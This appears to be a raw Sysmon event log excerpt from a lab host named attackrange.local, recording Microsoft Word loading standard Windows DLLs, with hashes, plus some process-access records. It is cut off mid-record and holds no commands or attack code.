Office\Root\Office16\WINWORD.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.840{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\ncryptsslp.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft SChannel ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationncryptsslp.dllMD5=80D0046E61E3DBD708B53657DA4C5821,SHA256=7457E1BB911D132A8BEDEB6D7DEDB82365A6D681FBEF2331D4FB545AC1DA5A56,IMPHASH=239D379DAEC05CA48775D7DD3AA4BFCAtrueMicrosoft WindowsValid 734700x800000000000000049368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.825{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\mskeyprotect.dll10.0.14393.4046 (rs1_release.201028-1803)Microsoft Key Protection ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmskeyprotect.dllMD5=87A5C9919D4A67629718959772E120DD,SHA256=707BD6ECE458848F7343C2CF3184A74D99C40E7F5E58E5DA608E4C88D03609E4,IMPHASH=D74AB287506D6E20949755E75302AD32trueMicrosoft WindowsValid 10341000x800000000000000049367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.810{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.810{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.794{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000049364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.794{7BD73061-728B-613B-510B-00000000F001}67647120C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.794{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000049362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.794{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000049361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.778{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\schannel.dll10.0.14393.4225 (rs1_release.210127-1811)TLS / SSL Security ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationschannel.dllMD5=2562B81E255EB6DF8497402ABC6C59BB,SHA256=340532C238CA5B84BA9D7A2DB4D1CCD58D869FECC44A463A93F54C974E1B41F4,IMPHASH=D9603397C5B04530FFA0321E70FF2308trueMicrosoft WindowsValid 734700x800000000000000049360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.747{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\sxs.dll10.0.14393.4169 (rs1_release.210107-1130)Fusion 2.5Microsoft® Windows® Operating SystemMicrosoft CorporationSXS.DLLMD5=54FB18CA661D074CBB60D5A58D40C8D3,SHA256=A2BD6160222A216F8A6830C1273662F8AE88F53D2CE6DA5893FF70D146A0A2B0,IMPHASH=FED414075FF3F23F21C898B1860393B4trueMicrosoft WindowsValid 734700x800000000000000049359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.747{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\FWPUCLNT.DLL10.0.14393.0 (rs1_release.160715-1616)FWP/IPsec User-Mode APIMicrosoft® Windows® Operating SystemMicrosoft Corporationfwpuclnt.dllMD5=A65FA613342B08E0F760D8B13B9C135A,SHA256=C64A1EC862188D2EE1202DB02BFBF4E2DD56780905E509012799EB57FC9A88ED,IMPHASH=6097EA32A6AE2378711DDF884725A2AFtrueMicrosoft WindowsValid 734700x800000000000000049358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.731{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\rasadhlp.dll10.0.14393.0 (rs1_release.160715-1616)Remote Access AutoDial HelperMicrosoft® Windows® Operating SystemMicrosoft Corporationrasadhlp.dllMD5=FAE8D0480BDD905EEA453D3A57C8D5C6,SHA256=C1531223B8201B344A6A6474CB2D9B8A8C632250A3A6F472EC5E2D7D28ADD94C,IMPHASH=98E0DBCEA076EF80E7DE241072E34656trueMicrosoft WindowsValid 734700x800000000000000049357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.731{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\WindowsCodecs.dll10.0.14393.4350 (rs1_release.210407-2154)Microsoft Windows Codecs LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationWindowsCodecsMD5=B791899A46FD151559658F4F86C3C6F5,SHA256=E559B36A3CC2261C16916F2D49FA351DC4E21E5EC581AC43547ABA16F70CDA7E,IMPHASH=945C5ACF3D7F6243AD6374B1152227D8trueMicrosoft WindowsValid 734700x800000000000000049356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.731{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 23542300x800000000000000049355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.731{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A2A53238FC2B2789A79F53B966EE3656,SHA256=E71209F4F26F1A4F49857AC1B53E030E3F4A37D3C2B6E48CE8B281B944D9C386,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.731{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSPTLS.DLL16.0.13801.20178Microsoft Office componentMicrosoft OfficeMicrosoft Corporationmsptls.dllMD5=53C631125C4AB3BFA9F7DB70B4B02EFA,SHA256=4F0593A374FE614EBBFAB37A9C39515D695ABA2EF3ADDD72BD912A83426789FE,IMPHASH=014C3CB1A8C71877E8ED43B06831840FtrueMicrosoft CorporationValid 734700x800000000000000049353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.731{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\webio.dll10.0.14393.3866 (rs1_release.200805-1327)Web Transfer Protocols APIMicrosoft® Windows® Operating SystemMicrosoft Corporationwebio.dllMD5=0CE65DF03820B5523EFE7D20258E6F0A,SHA256=9224732E1A7761866BB479C91A02C561F77B203EB20914F4ED0AF8FE320E8FF6,IMPHASH=72061958A1119B16F6B4694A68C7F8CBtrueMicrosoft WindowsValid 10341000x800000000000000049352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.716{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.716{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\sppc.dll10.0.14393.67 (rs1_release.160804-2231)Software Licensing Client DllMicrosoft® Windows® Operating SystemMicrosoft Corporationsppc.dllMD5=7CF84329545035CC0833119C7268A620,SHA256=49E3FA8B9F9ACB1A2CEDE37970361316C93286CEE7F70DE5985E7135498A4210,IMPHASH=BC4A2B9355432144727A5322381AB386trueMicrosoft WindowsValid 734700x800000000000000049350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.716{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\wininet.dll11.00.14393.4583 (rs1_release.210730-1850)Internet Extensions for Win32Internet ExplorerMicrosoft Corporationwininet.dllMD5=524876363DA8F469C13E0818256B6131,SHA256=DAA85FEAB4553D9A203A85A58C8CB26A2784E0D33226B41AAE98471DAE75C035,IMPHASH=B3ABC7D59C2B1ACAEECA63C53B0AAC4BtrueMicrosoft WindowsValid 734700x800000000000000049349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.716{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\ntmarta.dll10.0.14393.0 (rs1_release.160715-1616)Windows NT MARTA providerMicrosoft® Windows® Operating SystemMicrosoft Corporationntmarta.dllMD5=854A3CAE7C97B630158C9F7EE8555970,SHA256=20F0A4D99C5095A0CAC39B816BFC987F64CD051843C79E027714666375986176,IMPHASH=98050D95AE15C8382F287539F2BF65FAtrueMicrosoft WindowsValid 734700x800000000000000049348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.716{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\Windows.UI.Immersive.dll10.0.14393.4583 (rs1_release.210730-1850)WINDOWS.UI.IMMERSIVEMicrosoft® Windows® Operating SystemMicrosoft CorporationWINDOWS.UI.IMMERSIVE.dllMD5=C3ABC6F71036CD4F4FD947774D2B12F0,SHA256=F747F8236190DD21A19554C97D8C027C6A5EC080EF327CCD6E8359E1B164E32E,IMPHASH=25972C93FD9DD68BCECCC65E6E7D1673trueMicrosoft WindowsValid 734700x800000000000000049347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.716{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\Windows.UI.dll10.0.14393.4169 (rs1_release.210107-1130)Windows Runtime UI Foundation DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.UI.dllMD5=FEC31833E8D13591BAECE59B8E39F53C,SHA256=424BAEA0DC8EF34305A881F9B36F22E8CFECA403A0D03B61782D69535387A401,IMPHASH=B073DE28C43175420FE754415439CCEAtrueMicrosoft WindowsValid 734700x800000000000000049346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000049345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000049344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\iertutil.dll11.00.14393.4467 (rs1_release.210604-1844)Run time utility for Internet ExplorerInternet ExplorerMicrosoft CorporationIeRtUtil.dllMD5=1D608361848C3A3AC56488995E8D0BB1,SHA256=D95DE5DBAD08E22CB0CFB9322220E752F16124C15867F7748E4D64795E400EBF,IMPHASH=BB80FB0B79AB68B9AA174726B09C8CE9trueMicrosoft WindowsValid 734700x800000000000000049343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\urlmon.dll11.00.14393.4530 (rs1_release.210705-0736)OLE32 Extensions for Win32Internet ExplorerMicrosoft CorporationUrlMon.dllMD5=B63DBDFEC215CF37259DC4A88ADBD0E7,SHA256=67B02F3DE0AF36E76C2D259CE7833EDA4FE33D935538E8A4C1E7E82130870FC1,IMPHASH=D30D879B129DBE4925A85E9DD136188BtrueMicrosoft WindowsValid 734700x800000000000000049342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\wbem\fastprox.dll10.0.14393.0 (rs1_release.160715-1616)WMI Custom MarshallerMicrosoft® Windows® Operating SystemMicrosoft Corporationfastprox.dllMD5=C2F7834269D565263C65757EDE37A66C,SHA256=17651A35255229CE95F065CA1BCCC4867B43DA879D72AFCC91FBA4768225C7D3,IMPHASH=481A52B415277FC8692C7D6D9EA3475CtrueMicrosoft WindowsValid 734700x800000000000000049341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\dhcpcsvc.dll10.0.14393.3930 (rs1_release.200901-1914)DHCP Client ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc.dllMD5=CD3B9633BBEF2102C4665A2C39EC0B1A,SHA256=341EFB4806BE39E09AA90CA3B069C39F2A9D61FA9B512350B2721D41875AFCAE,IMPHASH=9A2F821D250C4CEBC0627590331B869DtrueMicrosoft WindowsValid 734700x800000000000000049340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\dhcpcsvc6.dll10.0.14393.3930 (rs1_release.200901-1914)DHCPv6 ClientMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc6.dllMD5=1721EAC44BCFC7177AA664ADCA514F23,SHA256=C099BCCE44A04A48147DE8CF093EBF997510154113789BF31394B5148F60B375,IMPHASH=1278B10B4CD792CEC37AF93D76A387ECtrueMicrosoft WindowsValid 734700x800000000000000049339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\wbem\wbemsvc.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemsvc.dllMD5=2BE97028B7B85762561F475E31989C2A,SHA256=75C9D8C6D41B4B7D70666A8107A08A748CEF6CB9E60AD0288B10CDE12E274AFF,IMPHASH=200200BEAF933FA4627BF83C67BA473EtrueMicrosoft WindowsValid 734700x800000000000000049338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000049337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\winnsi.dll10.0.14393.2339 (rs1_release_inmarket.180611-1502)Network Store Information RPC interfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationwinnsi.dllMD5=25B3BD4D63460EE4599F5631C1B83D21,SHA256=07E055D47940F09CB7EB512D52672C944D7D2F035A2F45766319871C0862C5B1,IMPHASH=77951C1B66390D48C5FC7B47D7C8668AtrueMicrosoft WindowsValid 734700x800000000000000049336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\RICHED20.DLL16.0.13801.20442RichEdit Version 8.0Microsoft OfficeMicrosoft Corporationriched20.dllMD5=4AADCAFE0937BFDD2C0E089B37549CD7,SHA256=8D12811470721C2A4775AE2CF2B236C5E16FD4215D70E63C768BD9F4ADBC364A,IMPHASH=7F91D6F15B0123F79B3CFE6F19528321trueMicrosoft CorporationValid 734700x800000000000000049335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\mswsock.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft Windows Sockets 2.0 Service ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmswsock.dllMD5=B52ACA309FD6F72105951FFBA022327B,SHA256=02AB6CCE4BF0D3F075D5E982F5A4CBDB514CE7C245EA474D7846A86CD3F13202,IMPHASH=0E9C1FA273A5EFD763FAC8E145B20C80trueMicrosoft WindowsValid 734700x800000000000000049334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\wbemcomn.dll10.0.14393.4530 (rs1_release.210705-0736)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemcomn.dllMD5=91E2160941219FFEBE4093E6681BE4CF,SHA256=3B8AA86EAF2200F53A6EB57B08A34F1BA5E467B72E5002C3BCBF20AF40D98CD1,IMPHASH=69BCD1B17DF0CA323B0C1639784D745BtrueMicrosoft WindowsValid 734700x800000000000000049333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\wbem\wbemprox.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemprox.dllMD5=B7B56FAC395BEEDC20120FD0170A23A3,SHA256=7BDF579D7348D84F251A8411E40E14ADF9406F954914C1C4DE30E880DCF6CEB3,IMPHASH=96416B54C1F2E15EF294753DF1CB4131trueMicrosoft WindowsValid 734700x800000000000000049332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.700{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\OnDemandConnRouteHelper.dll10.0.14393.4169 (rs1_release.210107-1130)On Demand Connctiond Route HelperMicrosoft® Windows® Operating SystemMicrosoft CorporationOnDemandConnRouteHelper.dllMD5=BAE78E97BEBB832376654560305922E3,SHA256=6A188DC4F1005E46CCA529E9C757D9B3B5F98E5587AFAA5E4200C7DD2AC73355,IMPHASH=FE994282C73F9AB11AC9B6E37AC26B47trueMicrosoft WindowsValid 734700x800000000000000049331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\sppc.dll10.0.14393.67 (rs1_release.160804-2231)Software Licensing Client DllMicrosoft® Windows® Operating SystemMicrosoft Corporationsppc.dllMD5=7CF84329545035CC0833119C7268A620,SHA256=49E3FA8B9F9ACB1A2CEDE37970361316C93286CEE7F70DE5985E7135498A4210,IMPHASH=BC4A2B9355432144727A5322381AB386trueMicrosoft WindowsValid 734700x800000000000000049330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\slc.dll10.0.14393.67 (rs1_release.160804-2231)Software Licensing Client DllMicrosoft® Windows® Operating SystemMicrosoft Corporationslc.dllMD5=060E11DCB875D981E948073986E295DC,SHA256=30858EA58F24537CC3369091F92AD70C59877BDB1FDF8DEC7762A7AB72DDE885,IMPHASH=70AAA0F56F084D1AE09EB5CD51B268ECtrueMicrosoft WindowsValid 734700x800000000000000049329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000049328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\winhttp.dll10.0.14393.4467 (rs1_release.210604-1844)Windows HTTP ServicesMicrosoft® Windows® Operating SystemMicrosoft Corporationwinhttp.dllMD5=8893BE5829B2F909E7FC4AF4C43B54F9,SHA256=C1D791C72417FD001E2A5FE441717881D43428A931724E7FD2DCCE6C83699458,IMPHASH=F1FC6BF3699C289EBAF914A7771E49CDtrueMicrosoft WindowsValid 734700x800000000000000049327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\Office16\MSOARIA.DLL16.0.55555.10000Microsoft Office componentMicrosoft OfficeMicrosoft CorporationMsoAria.dllMD5=2357126682CE4CAB2E5963883400D41D,SHA256=878BF317D30612C970E2EFDF93C3F22BF360D0304CFB54E96D638E8A5DE24E51,IMPHASH=8B79B74A0917AC0A2DAFE46F81C7FF90trueMicrosoft CorporationValid 734700x800000000000000049326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000049325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net 